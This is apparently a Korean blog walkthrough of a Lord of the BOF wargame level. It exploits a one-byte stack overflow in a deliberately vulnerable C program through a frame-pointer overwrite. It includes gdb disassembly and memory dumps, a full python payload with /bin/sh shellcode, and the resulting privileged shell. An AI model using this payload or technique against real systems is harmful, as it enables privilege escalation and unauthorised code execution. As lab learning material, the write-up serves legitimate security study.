Sh4n3e

[시스템해킹][LOB] Level12 : Golem -> Darkknight 본문

Wargame/LOB

[시스템해킹][LOB] Level12 : Golem -> Darkknight

sh4n3e 2017. 7. 4. 00:16

문제는 아래와 같다.


[golem@localhost golem]$ cat darkknight.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - darkknight

        - FPO

*/


#include <stdio.h>

#include <stdlib.h>


void problem_child(char *src)

{

char buffer[40];

strncpy(buffer, src, 41);

printf("%s\n", buffer);

}


main(int argc, char *argv[])

{

if(argc<2){

printf("argv error\n");

exit(0);

}


problem_child(argv[1]);

}

 



 buffer[40]

 ......

 ......

 problem_child EBP

problem_child SFP

 ....

main EBP

 main SFP


problem_child 함수의 strcpy는 41개를 한다는 의미는 buffer공간 40byte와 problem_child함수의 EBP영역 마지막 1byte까지만 덮어쓰겠다는 의미이다. problem_child EBP는 main함수의 EBP를 저장하고 있다.

(해당 부분은 최초 함수실행시에 PUSH EBP에 의해 연산된다.)


마지막 1byte를 기존과 다른 값으로 바꾸게 된다면 어떻게 될까?

main함수의 EBP가 바뀐다는 의미다. 즉 stack base point가 바뀌게 된다는 의미다. 위의 프로그램같이 함수호출후에 끝나는 경우는  main함수의 EBP값을 바꿔 SFP까지 임의로 조작할 수 있게된다. 



[golem@localhost golem]$ gdb -q thginkkrad 

(gdb) set disassembly-flavor intel

(gdb) disp/i $pc

(gdb) disass main

Dump of assembler code for function main:

0x804846c <main>: push   %ebp

0x804846d <main+1>: mov    %ebp,%esp

0x804846f <main+3>: cmp    DWORD PTR [%ebp+8],1

0x8048473 <main+7>: jg     0x8048490 <main+36>

0x8048475 <main+9>: push   0x8048504

0x804847a <main+14>: call   0x8048354 <printf>

0x804847f <main+19>: add    %esp,4

0x8048482 <main+22>: push   0

0x8048484 <main+24>: call   0x8048364 <exit>

0x8048489 <main+29>: add    %esp,4

0x804848c <main+32>: lea    %esi,[%esi*1]

0x8048490 <main+36>: mov    %eax,DWORD PTR [%ebp+12]

0x8048493 <main+39>: add    %eax,4

0x8048496 <main+42>: mov    %edx,DWORD PTR [%eax]

0x8048498 <main+44>: push   %edx

0x8048499 <main+45>: call   0x8048440 <problem_child>

0x804849e <main+50>: add    %esp,4

0x80484a1 <main+53>: leave  

0x80484a2 <main+54>: ret    

0x80484a3 <main+55>: nop    

0x80484a4 <main+56>: nop    

0x80484a5 <main+57>: nop    

0x80484a6 <main+58>: nop    

0x80484a7 <main+59>: nop    

0x80484a8 <main+60>: nop    

0x80484a9 <main+61>: nop    

0x80484aa <main+62>: nop    

0x80484ab <main+63>: nop    

0x80484ac <main+64>: nop    

0x80484ad <main+65>: nop    

0x80484ae <main+66>: nop    

0x80484af <main+67>: nop    

End of assembler dump.


(gdb) disass problem_child

Dump of assembler code for function problem_child:

0x8048440 <problem_child>: push   %ebp

0x8048441 <problem_child+1>: mov    %ebp,%esp

0x8048443 <problem_child+3>: sub    %esp,40

0x8048446 <problem_child+6>: push   41

0x8048448 <problem_child+8>: mov    %eax,DWORD PTR [%ebp+8]

0x804844b <problem_child+11>: push   %eax

0x804844c <problem_child+12>: lea    %eax,[%ebp-40]

0x804844f <problem_child+15>: push   %eax

0x8048450 <problem_child+16>: call   0x8048374 <strncpy>

0x8048455 <problem_child+21>: add    %esp,12

0x8048458 <problem_child+24>: lea    %eax,[%ebp-40]

0x804845b <problem_child+27>: push   %eax

0x804845c <problem_child+28>: push   0x8048500

0x8048461 <problem_child+33>: call   0x8048354 <printf>

0x8048466 <problem_child+38>: add    %esp,8

0x8048469 <problem_child+41>: leave  

0x804846a <problem_child+42>: ret    

0x804846b <problem_child+43>: nop    

End of assembler dump.


빨간색 부분에 BP를 걸고, 디버깅을 한다.

나는 여기서 아래와 같이 진행할 것이다.


 AAAA + 새로운 SFP +

 NOP*8 +

 Shellocode +

끝 1byte를 바꿔 A가 시작되는 지점을 EBP로

problem_child SFP

 ....

main EBP

 main SFP



이렇게 하면 기존에 뛰어야할 main함수쪽의 기존 스택지점으로 뛰지 않고, 우리의 EBP는 A의 시작점에 위치한다.

그리고 main함수의 leave, ret 명령어가 실행되면서 우리가 임의로 만들어놓은 SFP의 위치로 EIP가 뛰게된다. 그 부분은 우리가 Shellcode를 넣어놓은 지점으로 맞추면 쉘이 열리게 된다.

진행에 대한 내용은 아래를 참고하면 된다.


(gdb) x/20x $esp

0xbffffc04: 0x41414141 0xbffffc11 0x90909090 0x90909090

0xbffffc14: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e

0xbffffc24: 0x99e18953 0x80cd0bb0 0xbffffc04 0x0804849e

0xbffffc34: 0xbffffd95 0xbffffc58 0x400309cb 0x00000002

0xbffffc44: 0xbffffc84 0xbffffc90 0x40013868 0x00000002

 


0x804849e in main ()

(gdb) print/x $ebp

$1 = 0xbffffc04 

(gdb) x/20x $ebp

0xbffffc04: 0x41414141 0xbffffc11 0x90909090 0x90909090

0xbffffc14: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e

0xbffffc24: 0x99e18953 0x80cd0bb0 0xbffffc04 0x0804849e

0xbffffc34: 0xbffffd95 0xbffffc58 0x400309cb 0x00000002

0xbffffc44: 0xbffffc84 0xbffffc90 0x40013868 0x00000002


Breakpoint 2, 0x80484a1 in main ()

(gdb) ni

0x80484a2 in main ()

(gdb) si

0xbffffc11 in ?? ()

(gdb) 


아래는 작성한 페이로드이다.


./darkknight $(python -c 'print "AAAA\x11\xfc\xff\xbf"+"\x90"*8+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62

\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x04"')


보시다시피 쉘이 열리는 것을 확인할 수 있다.


[golem@localhost golem]$ ./darkknight $(python -c 'print "\x60\xae\xae\x40\x11>

`��@�����������1�Ph//shh/bin��PS�ᙰ

                                   ���������X���� @

bash$ whoami

darkknight

bash$ id

uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem)

bash$ /bin/my-pass

euid = 512

new attacker

bash$  


Comments